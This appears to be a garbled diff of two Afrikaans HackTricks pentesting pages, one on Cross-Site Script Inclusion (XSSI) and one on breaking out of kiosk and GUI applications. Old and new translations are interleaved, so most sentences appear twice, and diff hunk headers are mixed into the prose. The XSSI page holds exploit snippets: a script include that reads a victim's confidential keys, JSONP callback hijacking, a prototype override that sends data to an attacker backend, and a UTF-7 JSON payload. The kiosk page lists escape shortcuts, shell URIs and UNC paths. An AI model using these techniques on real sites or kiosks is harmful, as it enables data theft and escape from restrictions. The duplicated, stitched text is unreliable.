* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basiese Inligting
## Basic Information
**Kruiswebwerfinskripsie (XSSI)** is 'n kwesbaarheid wat voortspruit uit die aard van die `script`-etiket in HTML. In teenstelling met die meeste hulpbronne, wat onderhewig is aan die **Gelyke-Oorsprongbeleid (SOP)**, kan skripsies ingesluit word vanaf verskillende domeine. Hierdie gedrag is bedoel om die gebruik van biblioteke en ander hulpbronne wat op verskillende bedieners gehuisves word, te vergemaklik, maar dit stel ook 'n potensiële veiligheidsrisiko in.
**Cross-Site Script Inclusion (XSSI)** is 'n kwesbaarheid wat ontstaan uit die aard van die `script` tag in HTML. Anders as die meeste hulpbronne, wat onderhewig is aan die **Same-Origin Policy (SOP)**, kan skripte van verskillende domeine ingesluit word. Hierdie gedrag is bedoel om die gebruik van biblioteke en ander hulpbronne wat op verskillende bedieners gehoste is, te fasiliteer, maar dit stel ook 'n potensiële sekuriteitsrisiko in.
### Sleutelkenmerke van **XSSI**:
- **Oorskryding van SOP**: Skripsies is vrygestel van die **Gelyke-Oorsprongbeleid**, wat hulle in staat stel om oor domeine ingesluit te word.
- **Data-uitlê**: 'n Aanvaller kan hierdie gedrag uitbuit om data wat gelaai is via die `script`-etiket te lees.
- **Impak op Dinamiese JavaScript/JSONP**: **XSSI** is veral relevant vir dinamiese JavaScript of **JSON met Opvulling (JSONP)**. Hierdie tegnologieë gebruik dikwels "omgewingsgesag" -inligting (soos koekies) vir outentisering. Wanneer 'n skripsieversoek na 'n ander gasheer gestuur word, word hierdie geloofsbriewe (bv. koekies) outomaties ingesluit by die versoek.
- **Uitlek van outentiseringsleutels**: As 'n aanvaller 'n gebruiker se webblaaier kan mislei om 'n skripsie van 'n bediener wat hulle beheer, aan te vra, kan hulle moontlik toegang verkry tot sensitiewe inligting wat in hierdie versoek ingesluit is.
### Key Characteristics of **XSSI**:
- **Bypass of SOP**: Skripte is vrygestel van die **Same-Origin Policy**, wat dit moontlik maak om oor domeine ingesluit te word.
- **Data Exposure**: 'n Aanvaller kan hierdie gedrag benut om data wat via die `script` tag gelaai is, te lees.
- **Impact on Dynamic JavaScript/JSONP**: **XSSI** is veral relevant vir dinamiese JavaScript of **JSON with Padding (JSONP)**. Hierdie tegnologieë gebruik dikwels "ambient-authority" inligting (soos koekies) vir outentisering. Wanneer 'n skrip versoek na 'n ander gasheer gemaak word, word hierdie geloofsbriewe (bv. koekies) outomaties in die versoek ingesluit.
- **Authentication Token Leakage**: As 'n aanvaller 'n gebruiker se blaaiert kan mislei om 'n skrip van 'n bediener wat hulle beheer, aan te vra, mag hulle in staat wees om sensitiewe inligting wat in hierdie versoeke bevat is, te bekom.
### Tipes
### Types
1. **Statische JavaScript** - Dit verteenwoordig die konvensionele vorm van XSSI.
2. **Statische JavaScript met outentisering** - Hierdie tipe is onderskeibaar omdat dit outentisering vereis om toegang te verkry.
3. **Dinamiese JavaScript** - Behels JavaScript wat dinamies inhoud genereer.
4. **Nie-JavaScript** - Verwys na kwesbaarhede wat nie direk met JavaScript verband hou nie.
1. **Static JavaScript** - Dit verteenwoordig die konvensionele vorm van XSSI.
2. **Static JavaScript with Authentication** - Hierdie tipe is uniek omdat dit outentisering vereis om toegang te verkry.
3. **Dynamic JavaScript** - Betrek JavaScript wat dinamies inhoud genereer.
4. **Non-JavaScript** - Verwys na kwesbaarhede wat nie direk JavaScript betrek nie.
**Die volgende inligting is 'n opsomming van [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Kyk daar vir verdere besonderhede.
**The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details.
### Gewone XSSI
In hierdie benadering word privaat inligting ingebed binne 'n wêreldwyd toeganklike JavaScript-lêer. Aanvallers kan hierdie lêers identifiseer deur metodes soos lêerlesing, sleutelwoordsoektogte of regulêre uitdrukkings te gebruik. Sodra dit gevind is, kan die skripsie wat privaat inligting bevat, ingesluit word in skadelike inhoud, wat ongemagtigde toegang tot sensitiewe data moontlik maak. 'n Voorbeeld van 'n uitbuitingstegniek word hieronder getoon:
### Regular XSSI
In hierdie benadering is private inligting ingebed binne 'n wêreldwyd toeganklike JavaScript-lêer. Aanvallers kan hierdie lêers identifiseer deur metodes soos lêerlees, sleutelwoordsoektogte, of gereelde uitdrukkings. Sodra dit geleë is, kan die skrip wat private inligting bevat, ingesluit word in kwaadwillige inhoud, wat ongeoorloofde toegang tot sensitiewe data moontlik maak. 'n Voorbeeld van 'n eksploitasiemetode word hieronder getoon:
```html
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>
```
### Dinamies-gebaseerde-JavaScript-XSSI en Geauthentiseerde-JavaScript-XSSI
Hierdie tipes XSSI-aanvalle behels vertroulike inligting wat dinamies by die skrip gevoeg word as reaksie op 'n gebruiker se versoek. Opstel kan uitgevoer word deur versoek te stuur met en sonder koekies en die antwoorde te vergelyk. As die inligting verskil, kan dit dui op die teenwoordigheid van vertroulike inligting. Hierdie proses kan outomaties gedoen word met behulp van hulpmiddels soos die [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp-uitbreiding.
### Dynamiese-JavaScript-gebaseerde-XSSI en Geverifieerde-JavaScript-XSSI
Hierdie tipes XSSI-aanvalle behels dat vertroulike inligting dinamies by die skrip gevoeg word in reaksie op 'n gebruiker se versoek. Opsporing kan gedoen word deur versoeke met en sonder koekies te stuur en die antwoorde te vergelyk. As die inligting verskil, kan dit die teenwoordigheid van vertroulike inligting aandui. Hierdie proses kan geoutomatiseer word met behulp van gereedskap soos die [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp-uitbreiding.
As vertroulike data in 'n globale veranderlike gestoor word, kan dit uitgebuit word met behulp van soortgelyke metodes as dié wat gebruik word in Gewone XSSI. As die vertroulike data egter in 'n JSONP-antwoord ingesluit is, kan aanvallers die terugroepfunksie kaap om die inligting te onttrek. Dit kan gedoen word deur óf globale objekte te manipuleer óf 'n funksie op te stel wat deur die JSONP-antwoord uitgevoer moet word, soos hieronder gedemonstreer:
As vertroulike data in 'n globale veranderlike gestoor word, kan dit uitgebuit word met behulp van soortgelyke metodes as dié wat in Gereelde XSSI gebruik word. As die vertroulike data egter in 'n JSONP-antwoord ingesluit is, kan aanvallers die terugroepfunksie oorneem om die inligting te verkry. Dit kan gedoen word deur óf globale voorwerpe te manipuleer óf 'n funksie op te stel wat deur die JSONP-antwoord uitgevoer moet word, soos hieronder gedemonstreer:
```html
<script>
var angular = function () { return 1; };
@ -64,17 +65,17 @@ alert(JSON.stringify(leaked));
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Vir veranderlikes wat nie in die globale naamruimte woon nie, kan *prototipe-versteuring* soms uitgebuit word. Hierdie tegniek maak gebruik van JavaScript se ontwerp, waar kode-interpretasie die prototipeketting deurloop om die geroepte eienskap te vind. Deur sekere funksies, soos `Array` se `slice`, te oorskryf, kan aanvallers toegang verkry en nie-globale veranderlikes uitlek:
Vir veranderlikes wat nie in die globale naamruimte woon nie, kan *prototype tampering* soms uitgebuit word. Hierdie tegniek benut JavaScript se ontwerp, waar kode-interpretasie die prototipe-ketting deurloop om die aangeroepde eienskap te vind. Deur sekere funksies te oorskry, soos `Array` se `slice`, kan aanvallers nie-globale veranderlikes toegang en lek:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Verdere besonderhede oor aanvalsvektore kan gevind word in die werk van Sekuriteitsnavorsers [Sebastian Lekies](https://twitter.com/slekies), wat 'n lys van [vektore](http://sebastian-lekies.de/leak/) onderhou.
Further details on attack vectors can be found in the work of Security Researcher [Sebastian Lekies](https://twitter.com/slekies), who maintains a list of [vectors](http://sebastian-lekies.de/leak/).
### Nie-Skripsie-XSSI
Takeshi Terada se navorsing stel 'n ander vorm van XSSI voor, waar Nie-Skripsie-lêers, soos CSV, oor grense heen uitgelek word deur as bronne in 'n `script`-etiket ingesluit te word. Historiese gevalle van XSSI, soos Jeremiah Grossman se aanval in 2006 om 'n volledige Google-adresboek te lees en Joe Walker se 2007 JSON-datalek, beklemtoon die erns van hierdie bedreigings. Daarbenewens beskryf Gareth Heyes 'n aanvalvariant wat UTF-7 gekodeerde JSON betrek om die JSON-formaat te ontsnap en skripte uit te voer, wat effektief is in sekere webblaaier:
### Non-Script-XSSI
Takeshi Terada se navorsing stel 'n ander vorm van XSSI bekend, waar Non-Script lêers, soos CSV, oor oorsprong gelek word deur as bronne in 'n `script` tag ingesluit te word. Historiese voorbeelde van XSSI, soos Jeremiah Grossman se 2006 aanval om 'n volledige Google adresboek te lees en Joe Walker se 2007 JSON data lek, beklemtoon die erns van hierdie bedreigings. Daarbenewens beskryf Gareth Heyes 'n aanval variant wat UTF-7 geënkodeerde JSON insluit om die JSON formaat te ontsnap en skripte uit te voer, effektief in sekere blaaiers:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
@ -82,16 +83,17 @@ Takeshi Terada se navorsing stel 'n ander vorm van XSSI voor, waar Nie-Skripsie-
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Kyk vir moontlike aksies binne die GUI-toepassing
# Kontroleer vir moontlike aksies binne die GUI-toepassing
**Gewone dialoë** is daardie opsies soos **'n lêer stoor', 'n lêer oopmaak', 'n lettertipe kies', 'n kleur kies'... Die meeste van hulle sal 'n volledige Verkenner-funksionaliteit bied. Dit beteken dat jy Verkenner-funksies kan gebruik as jy toegang het tot hierdie opsies:
**Algemene Dialoë** is daardie opsies van **'n lêer stoor**, **'n lêer oopmaak**, 'n lettertipe kies, 'n kleur... Die meeste van hulle sal **'n volledige Explorer-funksionaliteit bied**. Dit beteken dat jy toegang tot Explorer-funksies sal hê as jy toegang tot hierdie opsies kan kry:
* Sluit/Sluit as
* Maak oop/Maak oop met
* Oop/Oop met
* Druk
* Uitvoer/Invoer
* Eksporteer/Importeer
* Soek
* Skandeer
@ -28,16 +29,16 @@ Jy moet kyk of jy kan:
* Lêers wysig of nuwe lêers skep
* Simboliese skakels skep
* Toegang kry tot beperkte areas
* Ander programme uitvoer
* Toegang tot beperkte areas kry
* Ander toepassings uitvoer
## Opdraguitvoering
Miskien kan jy **deur die gebruik van 'n `Maak oop met`-opsie** 'n sekere soort skel uitvoer/maak oop.
Miskien **kan jy 'n `Open with`** opsie gebruik om 'n tipe skulp oop te maak/uit te voer.
### Windows
Byvoorbeeld _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ vind meer binnerwerke wat gebruik kan word om opdragte uit te voer (en onverwagte aksies uit te voer) hier: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
Byvoorbeeld _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ vind meer binaries wat gebruik kan word om opdragte uit te voer (en onverwagte aksies uit te voer) hier: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX __
@ -47,14 +48,14 @@ _bash, sh, zsh..._ Meer hier: [https://gtfobins.github.io/](https://gtfobins.git
## Om padbeperkings te omseil
* **Omgewingsveranderlikes**: Daar is baie omgewingsveranderlikes wat na 'n sekere pad wys
* **Omgewing veranderlikes**: Daar is baie omgewing veranderlikes wat na 'n sekere pad wys
* **Ander protokolle**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Simboliese skakels**
* **Kortpaaie**: CTRL+N (maak nuwe sessie oop), CTRL+R (Voer opdragte uit), CTRL+SHIFT+ESC (Taakbestuurder), Windows+E (maak Verkenner oop), CTRL-B, CTRL-I (Gunstelinge), CTRL-H (Geskiedenis), CTRL-L, CTRL-O (Lêer/Oopmaak-dialoog), CTRL-P (Druk-dialoog), CTRL-S (Stoor as)
* Versteekte Administratiewe kieslys: CTRL-ALT-F8, CTRL-ESC-F9
* **Shell-URI's**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNC-paaie**: Paaie om aan gedeelde lêers te koppel. Jy moet probeer om aan die C$ van die plaaslike masjien te koppel ("\\\127.0.0.1\c$\Windows\System32")
* **Meer UNC-paaie:**
* **Skakels**: CTRL+N (oop nuwe sessie), CTRL+R (Voer Opdragte uit), CTRL+SHIFT+ESC (Taakbestuurder), Windows+E (oop explorer), CTRL-B, CTRL-I (Gunstelinge), CTRL-H (Gesiedenis), CTRL-L, CTRL-O (Lêer/Oop Dialoog), CTRL-P (Druk Dialoog), CTRL-S (Stoor As)
* Versteekte Administratiewe menu: CTRL-ALT-F8, CTRL-ESC-F9
* **Shell URIs**: _shell:Administratiewe Gereedskap, shell:DokumenteBiblioteek, shell:Biblioteke, shell:Gebruikersprofiele, shell:Persoonlik, shell:SoekHuisGids, shell:Stelsels, shell:NetwerkPlekkeGids, shell:StuurNa, shell:GebruikersProfiele, shell:Gemeenskaplike Administratiewe Gereedskap, shell:MyRekenaarGids, shell:InternetGids_
* **UNC pades**: Pades om aan gedeelde vouers te koppel. Jy moet probeer om aan die C$ van die plaaslike masjien te koppel ("\\\127.0.0.1\c$\Windows\System32")
* **Meer UNC pades:**
| UNC | UNC | UNC |
| ------------------------- | -------------- | -------------------- |
@ -68,15 +69,15 @@ _bash, sh, zsh..._ Meer hier: [https://gtfobins.github.io/](https://gtfobins.git
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
## Laai jou binnerwerke af
## Laai jou binaries af
Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Verkenner: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Registreerredigeerder: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Registrie redigeerder: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## Toegang tot lêersisteem vanuit die blaaier
## Toegang tot lêerstelsel vanaf die blaaier
| PAD | PAD | PAD | PAD |
| PAD | PAD | PAD | PAD |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
@ -86,196 +87,198 @@ Registreerredigeerder: [https://sourceforge.net/projects/uberregedit/](https://s
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
## Kortpaaie
## Skakels
* Plakkerige Sleutels Druk SHIFT 5 keer
* Muis Sleutels SHIFT+ALT+NUMLOCK
* Hoë Kontras SHIFT+ALT+PRINTSCN
* Wissel Sleutels Hou NUMLOCK vir 5 sekondes
* Filter Sleutels Hou regter SHIFT vir 12 sekondes
* Filter Sleutels Hou regte SHIFT vir 12 sekondes
* WINDOWS+F1 Windows Soek
* WINDOWS+D Wys Skermblad
* WINDOWS+E Lanceer Windows Verkenner
* WINDOWS+R Hardloop
* WINDOWS+D Wys Bureaublad
* WINDOWS+E Begin Windows Explorer
* WINDOWS+R Voer uit
* WINDOWS+U Toeganklikheidsentrum
* WINDOWS+F Soek
* SHIFT+F10 Konteks Menu
* SHIFT+F10 Konteksmenu
* CTRL+SHIFT+ESC Taakbestuurder
* CTRL+ALT+DEL Skermblad op nuwer Windows-weergawes
* CTRL+ALT+DEL Splash skerm op nuwer Windows weergawes
* F1 Hulp F3 Soek
* F6 Adresbalk
* F11 Wissel volledige skerm binne Internet Explorer
* CTRL+H Internet Explorer Geskiedenis
* CTRL+T Internet Explorer Nuwe Blad
* F11 Wissel volle skerm binne Internet Explorer
* CTRL+H Internet Explorer Gesiedenis
* CTRL+T Internet Explorer Nuwe Tab
* CTRL+N Internet Explorer Nuwe Bladsy
* CTRL+O Maak Lêer Oop
* CTRL+O Oop Lêer
* CTRL+S Stoor CTRL+N Nuwe RDP / Citrix
## Swaai
* Swaai van die linkerkant na die regterkant om alle oop vensters te sien, waardeur die KIOSK-toepassing geminimaliseer word en direkte toegang tot die hele bedryfstelsel verkry word;
* Swaai van die regterkant na die linkerkant om die Aksiesentrum oop te maak, waardeur die KIOSK-toepassing geminimaliseer word en direkte toegang tot die hele bedryfstelsel verkry word;
* Swaai in van die boonste rand om die titelbalk sigbaar te maak vir 'n toepassing wat in volledige skermmodus geopen is;
* Swaai op van die onderkant om die taakbalk in 'n volledige skermtoepassing te wys.
## Veeg
* Veeg van die linkerkant na die regterkant om al die oop Windows te sien, die KIOSK-toepassing te minimaliseer en direk toegang tot die hele OS te kry;
* Veeg van die regterkant na die linkerkant om die Aksie Sentrum te open, die KIOSK-toepassing te minimaliseer en direk toegang tot die hele OS te kry;
* Veeg in vanaf die boonste rand om die titelbalk sigbaar te maak vir 'n toepassing wat in volle skermmodus oopgemaak is;
* Veeg op vanaf die onderkant om die taakbalk in 'n volle skerm toepassing te wys.
## Internet Explorer Truuks
### 'Beeldwerkset'
### 'Beeld Werkbalk'
Dit is 'n werkbalk wat verskyn aan die bokant-links van 'n prent as dit geklik word. Jy sal in staat wees om dit te Stoor, Druk, Mailto, "My prente" in Verkenner oop te maak. Die Kiosk moet Internet Explorer gebruik.
Dit is 'n werkbalk wat aan die boonste linkerkant van die beeld verskyn wanneer dit geklik word. Jy sal in staat wees om te Stoor, Druk, Mailto, "My Beelde" in Explorer oop te maak. Die Kiosk moet Internet Explorer gebruik.
### Skulpotokol
### Shell Protokol
Tik hierdie URL's om 'n Verkenner-weergawe te verkry:
Tik hierdie URL's in om 'n Explorer-weergave te verkry:
* `shell:Administratiewe Hulpmiddels`
* `shell:Administratiewe Gereedskap`
* `shell:DokumenteBiblioteek`
* `shell:Libraries`
* `shell:Biblioteke`
* `shell:Gebruikersprofiele`
* `shell:Persoonlik`
* `shell:SoekTuisblad`
* `shell:Netwerkplekke`
* `shell:SoekHuisGids`
* `shell:NetwerkPlekkeGids`
* `shell:StuurNa`
* `shell:Gebruikersprofiele`
* `shell:Gemeenskaplike Administratiewe Hulpmiddels`
* `shell:MyRekenaarVouer`
* `shell:InternetVouer`
* `shell:GebruikersProfiele`
* `shell:Gemeenskaplike Administratiewe Gereedskap`
* `shell:MyRekenaarGids`
* `shell:InternetGids`
* `Shell:Profiel`
* `Shell:Programlêers`
* `Shell:System`
* `Shell:BeheerpaneelVouer`
* `Shell:ProgramFiles`
* `Shell:Stelsel`
* `Shell:BeheerPaneelGids`
* `Shell:Windows`
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Beheerpaneel
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Beheer Paneel
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> My Rekenaar
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> My Netwerkplekke
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> My Netwerk Plekke
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
## Wys Lêeruitbreidings
## Wys Lêer Uitbreidings
Kyk na hierdie bladsy vir meer inligting: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
# Blaaier truuks
# Blaaiers truuks
Maak 'n rugsteun van iKat-weergawes:
Back-up iKat weergawes:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
Skep 'n gemeenskaplike dialoogvenster met behulp van JavaScript en kry toegang tot lêerverkenner: `document.write('<input/type=file>')`
Skep 'n algemene dialoog met JavaScript en toegang lêer verkenner: `document.write('<input/type=file>')`
Bron: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad
## Gebare en knoppies
* Swaai op met vier (of vyf) vingers / Dubbeltik op die Huis-knoppie: Om die multitask-weergawe te sien en App te verander
* Veeg op met vier (of vyf) vingers / Dubbel-tik die Tuis knoppie: Om die multitaskweergave te sien en die Toepassing te verander
* Swaai een kant of die ander met vier of vyf vingers: Om na die volgende/vorige App te verander
* Veeg een kant of die ander met vier of vyf vingers: Ten einde na die volgende/laaste Toepassing te verander
* Knyp die skerm met vyf vingers / Raak die Huis-knoppie aan / Swaai op met 1 vinger van die onderkant van die skerm in 'n vinnige beweging na bo: Om by die Huis te kom
* Knyp die skerm met vyf vingers / Raak die Tuis knoppie aan / Veeg op met 1 vinger vanaf die onderkant van die skerm in 'n vinnige beweging na bo: Om toegang tot Tuis te verkry
* Swaai een vinger van die onderkant van die skerm net 1-2 duim (stadig): Die dok sal verskyn
* Veeg een vinger vanaf die onderkant van die skerm net 1-2 duim (stadig): Die dok sal verskyn
* Swaai af van die boonste gedeelte van die vertoning met 1 vinger: Om jou kennisgewings te sien
* Veeg af vanaf die boonste deel van die skerm met 1 vinger: Om jou kennisgewings te sien
* Swaai af met 1 vinger die bokant-regterhoek van die skerm: Om die beheersentrum van die iPad Pro te sien
* Veeg af met 1 vinger in die boonste regterhoek van die skerm: Om die iPad Pro se kontrole sentrum te sien
* Swaai 1 vinger van die linkerkant van die skerm 1-2 duim: Om die Vandaag-weergawe te sien
* Veeg 1 vinger vanaf die linkerkant van die skerm 1-2 duim: Om die Vandag se weergawe te sien
* Swaai vinnig 1 vinger van die middel van die skerm na regs of links: Om na die volgende/vorige App te verander
* Veeg vinnig 1 vinger vanaf die middel van die skerm na regs of links: Om na die volgende/laaste Toepassing te verander
* Druk en hou die Aan/**Af**/Slaap-knoppie aan die bokant-regterhoek van die **iPad +** Skuif die "skakelaar vir aflaai" heeltemal na regs: Om af te skakel
* Druk en hou die Aan/**Af**/Slaap knoppie in die boonste regterhoek van die **iPad +** Beweeg die Gly na **afskakel** skuif al die pad na regs: Om af te skakel
* Druk die Aan/**Af**/Slaap-knoppie aan die bokant-regterhoek van die **iPad en die Huis-knoppie vir 'n paar sekondes**: Om 'n harde krag af te dwing
* Druk die Aan/**Af**/Slaap knoppie in die boonste regterhoek van die **iPad en die Tuis knoppie vir 'n paar sekondes**: Om 'n harde afskakeling te dwing
* Druk die Aan/**Af**/Slaap-knoppie aan die bokant-regterhoek van die **iPad en die Huis-knoppie vinnig**: Om 'n skermkiekie te neem wat in die onderste linkerkant van die vertoning sal verskyn. Druk beide knoppies terselfdertyd baie kort in, asof jy hulle 'n paar sekondes vashou, sal 'n harde krag afgedwing word.
* Druk die Aan/**Af**/Slaap knoppie in die boonste regterhoek van die **iPad en die Tuis knoppie vinnig**: Om 'n skermskoot te neem wat in die onderste linkerhoek van die skerm sal verskyn. Druk albei knoppies gelyktydig baie kortliks, aangesien as jy hulle 'n paar sekondes hou, 'n harde afskakeling uitgevoer sal word.
## Kortpaaie
## Skakels
Jy moet 'n iPad-toetsbord of 'n USB-toetsbord-adapter hê. Slegs kortpaaie wat kan help om te ontsnap uit die toepassing, sal hier gewys word.
Jy moet 'n iPad sleutelbord of 'n USB sleutelbord-adapter hê. Slegs skakels wat kan help om uit die toepassing te ontsnap, sal hier getoon word.
| Sleutel | Naam |
| --- | ------------ |
| ⌘ | Bevel |
| ⌘ | Opdrag |
| ⌥ | Opsie (Alt) |
| ⇧ | Skuif |
| ↩ | Terugkeer |
| ⇧ | Shift |
| ↩ | Terug |
| ⇥ | Tab |
| ^ | Beheer |
| ← | Linkerpyl |
| → | Regterpyl |
| ↑ | Op-pyl |
| ↓ | Af-pyl |
| ← | Linker Pyl |
| → | Regter Pyl |
| ↑ | Bo Pyl |
| ↓ | Onder Pyl |
### Stelselkortpaaie
### Stelselskakels
Hierdie kortpaaie is vir die visuele instellings en klankinstellings, afhangende van die gebruik van die iPad.
Hierdie skakels is vir die visuele instellings en klankinstellings, afhangende van die gebruik van die iPad.
| Kortpad | Aksie |
| Skakel | Aksie |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Verdonker skerm |
| F2 | Verhelder skerm |
| F7 | Terug een liedjie |
| F8 | Speel/pouseer |
| F9 | Oorslaan liedjie |
| F1 | Dim Sscreen |
| F2 | Verhoog skerm |
| F7 | Terug een liedjie |
| F8 | Speel/pouse |
| F9 | Skuif liedjie |
| F10 | Stil |
| F11 | Verlaag volume |
| F11 | Verminder volume |
| F12 | Verhoog volume |
| ⌘ Spasie | Wys 'n lys van beskikbare tale; om een te kies, tik weer op die spasiebalk. |
